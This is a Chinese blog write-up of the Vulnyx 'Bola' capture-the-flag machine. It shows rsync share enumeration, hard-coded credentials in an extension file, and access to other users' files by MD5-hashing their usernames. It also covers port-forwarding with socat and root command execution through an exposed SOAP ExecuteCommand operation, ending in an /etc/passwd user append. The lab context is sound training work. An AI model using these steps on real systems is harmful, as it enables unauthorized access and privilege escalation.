banner
言心吾

言心吾のBlog

吾言为心声

Vulnyx靶場復盤 - Bola

image

信息收集#

首先使用 Nmap 進行端口掃描,目標 IP 為 192.168.56.51,掃描結果如下:

┌──(root㉿kali)-[~/vulnyx/bola]
└─# cat nmapscan/detail  
# Nmap 7.95 scan initiated Fri Feb  7 15:47:02 2025 as: /usr/lib/nmap/nmap -sC -sV -p22,80,873 -Pn -n -T4 -sT -oN nmapscan/detail 192.168.56.51
Nmap scan report for 192.168.56.51
Host is up (0.00094s latency).

PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0)
80/tcp  open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: Did not follow redirect to http://bola.nyx
|_http-server-header: Apache/2.4.62 (Debian)
873/tcp open  rsync   (protocol version 32)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

可以看到:

  • 端口 80 運行著 Apache 2.4.62,訪問後發現會自動跳轉至 http://bola.nyx/,因此需要在 /etc/hosts 添加解析:

    192.168.56.51 bola.nyx
    
  • 端口 873 運行 rsync,可能存在未授權訪問或敏感文件洩露。


Web 端初步探測#

使用 curl 直接請求 80 端口,確認跳轉邏輯:

┌──(root㉿kali)-[~/vulnyx/bola]
└─# curl -v 192.168.56.51

返回 302 跳轉至 http://bola.nyx/,打開頁面後是一個登錄界面,嘗試註冊發現無效,只能暫時放棄 web 了。

image


Rsync 服務利用#

由於 rsync 可能會暴露敏感文件,編寫簡單腳本進行共享目錄枚舉:

for i in $(cat /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt); do 
    echo $i
    rsync -av --list-only rsync://192.168.56.51/$i 2>&1 | grep -Pv 'Unknown|error'
done

image

(眼神好一點) 最終在 extensions 目錄下發現文件,直接同步到本地:

┌──(root㉿kali)-[~/vulnyx/bola]
└─# rsync -av rsync://192.168.56.51/extensions ./rsync

在下載的 rsync 目錄中 grep 關鍵字 password,成功發現硬編碼的憑據:

┌──(root㉿kali)-[~/vulnyx/bola]
└─# grep -nir password ./rsync
./rsync/background.js:4: { site: "bola.nyx", username: "[email protected]", password: "sbIJ0x9g{C3`" }

Web 後台訪問#

拿到憑據 [email protected] / sbIJ0x9g{C3 後,嘗試登錄 http://bola.nyx/admin/admin.php,發現後台就給了一個 PDF 文件下載連接,其他啥也沒有。簡單瀏覽下 PDF ,發現是介紹 WSDL Server 的,猜測後續突破口可能與 WSDL 接口滲透有關。

WSDL(Web Services Description Language) 是一種基於 XML 的 Web 服務描述語言,通常用於 SOAP 通信。

此外,PDF 文件的下載地址為:

http://bola.nyx/download.php?file_name=115a2cf084dd7e70a91187f799a7d5a8.pdf

嘗試文件包含,Fuzz 下路徑和擴展名,注意帶上剛才登錄的 cookie:

wfuzz -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-extensions.txt -u http://bola.nyx/download.php?file_name=FUZZ.FUZ2Z  -H "Cookie: PHPSESSID=9j7shv4e58ahnemep2p5vld4ed" --hw 5

無果。

然後 dirsearch 掃了一遍,發現有新東西:

0621048edb824d6d0ddd5d38f310f37f

http://bola.nyx/.well-known/openid-configuration

openid-configuration 是 OAuth 2.0 - OpenID Connect 的配置文件。

image

給了很多信息,一時不知道怎麼利用,思路斷了。

後來才知道 PDF 文件名是 md5 加密的字符串,可以解出來,但我嘗試了好幾個 md5 解密網站都失敗了,cmd5 又需要付費,這裡直接貼出結果:jackie0x17

驗證一下:

┌──(root㉿kali)-[~/vulnyx/bola]
└─# echo -n jackie0x17 |md5sum
115a2cf084dd7e70a91187f799a7d5a8  -

由此推測,可能還有其他用戶名對應的 PDF,嘗試計算:

echo -n "d4t4s3c" | md5sum
97035ded598faa2ce8ff63f7f9dd3b70  -

echo -n "ct0l4" | md5sum
4a8f81d01d65d3468955191045816c85  -

用上面第一個成功下載新的 PDF——《WSDL Server VulNyx - How to Connect》,並找到以下代碼:

"""
Example with Python and Spyne
An example of how to implement a WSDL server in Python using Spyne
"""


from spyne import Application, rpc, ServiceBase, String
from spyne.protocol.soap import Soap11
from spyne.server.wsgi import WsgiApplication
class LoginService(ServiceBase):
@rpc(String, String, _returns=String)
def login(ctx, username, password):
if username == "admin" and password ==
"VulNyxtestinglogin123":
return "Login successful"
return "Invalid credentials"
app = Application([LoginService], 'http://bola.nyx:9000/wsdl',
in_protocol=Soap11(validator='lxml'),
out_protocol=Soap11())
server = WsgiApplication(app)
from wsgiref.simple_server import make_server
if __name__ == '__main__':
server = make_server('localhost', 9000, server)
print("WSDL Server running at http://localhost:9000")
server.serve_forever()

其中 admin 賬戶的密碼為:VulNyxtestinglogin123。經驗證得到一組 ssh 憑據:d4t4s3c:VulNyxtestinglogin123

d4t4s3c@bola:~$ id
uid=1000(d4t4s3c) gid=1000(pijusmagnifikus) groups=1000(pijusmagnifikus),1003(d4t4s3c)
d4t4s3c@bola:~$ ls
user.txt

至此就拿到了 User Flag。

提權#

確認目標端口信息#

使用 ss -plntu 命令查看當前監聽的端口:

d4t4s3c@bola:~$ ss -plntu
Netid  State   Recv-Q Send-Q  Local Address:Port  Peer Address:Port  Process      
udp    UNCONN  0      0       0.0.0.0:68         0.0.0.0:*                      
tcp    LISTEN  0      128     0.0.0.0:22         0.0.0.0:*                      
tcp    LISTEN  0      80      127.0.0.1:3306     0.0.0.0:*                      
tcp    LISTEN  0      5       127.0.0.1:9000     0.0.0.0:*                      
tcp    LISTEN  0      5       0.0.0.0:873        0.0.0.0:*                      
tcp    LISTEN  0      511     *:80               *:*                      
tcp    LISTEN  0      128     [::]:22            [::]:*                      
tcp    LISTEN  0      5       [::]:873           [::]:*  

發現 9000 端口 運行的是 WSDL 服務,但僅在本地監聽。


端口轉發#

由於 9000 端口未對外暴露,使用 socat 進行端口轉發,使其外部可訪問:

socat TCP-LISTEN:8000,fork TCP4:127.0.0.1:9000 &

現在可以通過 http://192.168.56.51:8000/wsdl 訪問 WSDL 服務。


WSDL 服務分析#

訪問 WSDL,發現其接口定義:

<definitions name="VulNyxSOAP"
   targetNamespace="http://localhost/wsdl/VulNyxSOAP.wsdl"
   xmlns="http://schemas.xmlsoap.org/wsdl/"
   xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
   xmlns:tns="http://localhost/wsdl/VulNyxSOAP.wsdl"
   xmlns:xsd="http://www.w3.org/2001/XMLSchema">

   <message name="LoginRequest">
      <part name="username" element="username"/>
      <part name="password" element="password"/>
   </message>

   <message name="ExecuteCommandRequest">
      <part name="cmd" element="cmd"/>
   </message>

   <portType name="VulNyxSOAPPortType">
      <operation name="ExecuteCommand">
         <input message="tns:ExecuteCommandRequest"/>
         <output message="tns:ExecuteCommandResponse"/>
      </operation>
   </portType>

   <binding name="VulNyxSOAPBinding" type="tns:VulNyxSOAPPortType">
      <soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http"/>
      <operation name="ExecuteCommand">
         <soap:operation soapAction="ExecuteCommand"/>
         <input><soap:body use="literal"/></input>
         <output><soap:body use="literal"/></output>
      </operation>
   </binding>

   <service name="VulNyxSOAP">
      <port binding="tns:VulNyxSOAPBinding" name="VulNyxSOAPPort">
         <soap:address location="http://localhost:9000/wsdl/" />
      </port>
   </service>
</definitions>

具體定義可以 curl http://192.168.56.51:8000/wsdl/VulNyxSOAP.wsdl

並發現 ExecuteCommandRequest 可執行命令,疑似 RCE 漏洞。

我這裡使用 ReadyAPI 自動構造 SOAP 請求,下面圖示為具體操作步驟:

image

image

image

image

image

就添加好了。

選擇 ExecuteCommand ,在 cmd 參數中輸入命令,發現成功執行命令:

image

可以看到 id 已經是 root 的了。

接下來反彈 shell 或者直接讀 flag 就行了。

我的方案是向 /etc/passwd 追加一個用戶,然後直接切換即可:

image


此外,我還嘗試使用國產 API 測試軟件 Apifox,但由於其對 WSDL 的支持較為有限,無法自動構造 SOAP 請求,因此未能成功進行接口測試。不過,仍然希望國產軟件能夠不斷進步,未來在更多安全測試場景中發揮作用!

還是補一下使用方法:

首先 CTRL+O 導入數據:
68cf44d26da50fd408f2cd950935a0ce

目前 Apifox 並不直接支持通過 URL 導入 WSDL 文件,僅支持上傳本地的 WSDL 文件。

wget http://IP:8000?wsdl -O service.wsdl
然後拖過去即可。

成功導入的效果:
image

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。